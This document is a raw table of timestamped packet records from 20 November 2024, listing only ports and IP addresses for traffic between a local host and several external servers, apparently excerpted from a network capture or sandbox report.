Nov 20, 2024 14:43:46.805437088 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.805510044 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.806104898 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.806149960 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.806186914 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.806194067 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.806243896 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.811542988 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.811578035 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.811621904 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.811629057 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.811661959 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.811682940 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.816701889 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.816719055 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.816804886 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.816821098 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.816931963 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.819830894 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.819880009 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.819919109 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.819925070 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.819969893 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.825087070 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.825129986 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.825176954 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.825184107 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.825215101 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.825229883 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.825459957 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.825505972 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.825531006 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.825536966 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.825566053 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.825578928 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.827339888 CET	443	49898	18.173.219.84	192.168.2.6
Nov 20, 2024 14:43:46.829503059 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.829519033 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.829591990 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.829607964 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.829673052 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.832263947 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.832324028 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.832359076 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.832364082 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.832391024 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.832403898 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.839570045 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.839617014 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.839673042 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.839716911 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.839750051 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.840367079 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.842758894 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.842778921 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.842787981 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.842804909 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.842837095 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.842844963 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.842912912 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.842916965 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.842931986 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.842994928 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.843985081 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.844027996 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.844079971 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.844085932 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.844127893 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.853147030 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.853209972 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.853260040 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.853275061 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.853311062 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.853451967 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.855556011 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.855577946 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.855647087 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.855654001 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.855695963 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.856719971 CET	49903	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.856771946 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.856817007 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.856829882 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.856846094 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.856870890 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.856892109 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.866832972 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.866877079 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.866921902 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.866926908 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.866957903 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.866970062 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.867638111 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.867654085 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.867748976 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.867755890 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.867805958 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.873569965 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.873588085 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.873663902 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.873684883 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.874109030 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.879723072 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.879744053 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.879806995 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.879818916 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.879848957 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.879879951 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.880801916 CET	443	49896	20.189.173.8	192.168.2.6
Nov 20, 2024 14:43:46.881028891 CET	443	49896	20.189.173.8	192.168.2.6
Nov 20, 2024 14:43:46.881169081 CET	49896	443	192.168.2.6	20.189.173.8
Nov 20, 2024 14:43:46.881486893 CET	49896	443	192.168.2.6	20.189.173.8
Nov 20, 2024 14:43:46.881506920 CET	443	49896	20.189.173.8	192.168.2.6
Nov 20, 2024 14:43:46.881515026 CET	49896	443	192.168.2.6	20.189.173.8
Nov 20, 2024 14:43:46.881570101 CET	49896	443	192.168.2.6	20.189.173.8
Nov 20, 2024 14:43:46.891681910 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.891702890 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.891746044 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.891757011 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.891786098 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.891808987 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.909917116 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.910043001 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.910089016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.910171032 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.910490990 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.910538912 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.910645008 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.910684109 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.911464930 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.911515951 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.911600113 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.911683083 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.912205935 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.912220001 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.912296057 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.913021088 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.913105011 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.913341045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.913393974 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.913897038 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.913935900 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.914781094 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.914793015 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.914841890 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.914896965 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.914932966 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.915973902 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.916071892 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.916254044 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.917004108 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.917057991 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.917150021 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.917201996 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.917965889 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.918057919 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.918082952 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.918133974 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.918648005 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.918670893 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.918704033 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.918720007 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.919459105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.919507027 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.957297087 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.957319021 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.957371950 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.957432985 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.957462072 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.957484961 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.959127903 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.959197044 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.959223032 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.959258080 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.959283113 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.959336042 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.969850063 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.969866991 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.969918966 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.969939947 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.969969034 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.970112085 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.970592976 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.970639944 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.970664024 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.970679998 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.970716953 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.970737934 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.971160889 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.971210003 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.971246004 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.971254110 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.971267939 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.971308947 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.983139992 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.983163118 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.983201027 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.983217001 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.983247995 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.983266115 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.984555960 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.984602928 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.984627962 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.984635115 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.984662056 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.984678030 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.985382080 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.985430002 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.985466957 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.985485077 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.985516071 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.985686064 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.986340046 CET	443	49899	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.986548901 CET	443	49899	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.986556053 CET	443	49902	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.986573935 CET	443	49902	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.986619949 CET	443	49900	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.986629009 CET	49899	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.986637115 CET	443	49902	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.986658096 CET	49902	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.986670017 CET	443	49900	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.986704111 CET	49902	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.986722946 CET	49900	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.986730099 CET	443	49900	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.986809969 CET	443	49900	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.986859083 CET	49900	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.988769054 CET	49899	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.988802910 CET	443	49899	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.990300894 CET	49902	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.990319967 CET	443	49902	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.993288040 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.993304968 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.993354082 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.993371964 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.993457079 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.994946003 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.994990110 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.995017052 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.995024920 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.995064020 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.995084047 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.996468067 CET	443	49901	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.996531010 CET	443	49901	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.996551991 CET	443	49901	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.996620893 CET	49901	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.996665955 CET	443	49901	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.996695042 CET	49901	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.996701956 CET	443	49901	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:46.996736050 CET	49901	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.996758938 CET	49901	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:46.996913910 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.996958971 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.996994972 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.997009993 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.997036934 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:46.997147083 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.000535011 CET	49900	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:47.000546932 CET	443	49900	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:47.002368927 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.002413988 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.002460957 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.002468109 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.002504110 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.002525091 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.003010988 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.003027916 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.003103971 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.003119946 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.003180027 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.003897905 CET	49901	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:47.003928900 CET	443	49901	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:47.006107092 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.006153107 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.006175995 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.006184101 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.006222963 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.006253004 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.011545897 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.011564970 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.011653900 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.011693954 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.011746883 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.011929035 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.011948109 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.011996984 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.012003899 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.012034893 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.012049913 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.012533903 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.012552977 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.012610912 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.012625933 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.012654066 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.012680054 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.016906023 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.016951084 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.017014027 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.017025948 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.017055035 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.017079115 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.020148039 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.020167112 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.020255089 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.020262957 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.020297050 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.020314932 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.023053885 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.023080111 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.023118019 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.023123026 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.023161888 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.023180962 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.023406982 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.023423910 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.023480892 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.023494959 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.023523092 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.023541927 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.025741100 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.025789976 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.025827885 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.025835991 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.025885105 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.025907993 CET	49893	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.028507948 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.028523922 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.028615952 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.028626919 CET	443	49894	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.028847933 CET	49894	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.031291962 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.031332970 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.031378031 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.031384945 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:47.031416893 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.031431913 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 14:43:47.035811901 CET	443	49903	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:47.035839081 CET	443	49903	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:47.035906076 CET	49903	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:47.035969019 CET	443	49903	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:47.036001921 CET	443	49903	23.44.133.12	192.168.2.6
